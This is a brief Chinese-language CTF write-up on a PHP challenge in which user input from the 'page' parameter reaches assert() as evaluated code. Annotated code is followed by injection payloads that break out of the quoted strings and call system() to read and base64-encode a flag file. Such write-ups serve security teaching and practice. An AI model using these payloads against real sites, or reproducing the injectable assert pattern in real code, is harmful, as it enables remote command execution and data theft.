源自一道CTF题,理解全部写在注释里面
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home"; //
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
//strpos通过查询‘..’ 在'$file'中第一次出现的位置来防止目录遍历
//assert()函数解释:判断表达式是否成立,返回true或者false。如果()内容为字符串则会当成php代码执行。
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
//file_exists(path)判断目标目录或者文件是否存在
assert("file_exists('$file')") or die("That file doesn't exist!");
//writeup
//由于有两个assert函数,可以对两个进行恶意代码构造
//对1构造
//解释:闭合strpos('1','..') or system("系统命令"); // 注释掉后面代码
1',..') or system("cat+templates/flag.php|base64");//
注:
base64是因为php源码无法直接显示,进行加密处理显示 或者F12打开,会发现注释里面有flag
//对2构造
//解释:闭合file_exists('1'),or system("系统命令"); //注释掉后面代码
1') or system("cat+templates/flag.php|base64");#
发现#被过滤改用//
1') or system("cat+templates/flag.php|base64");//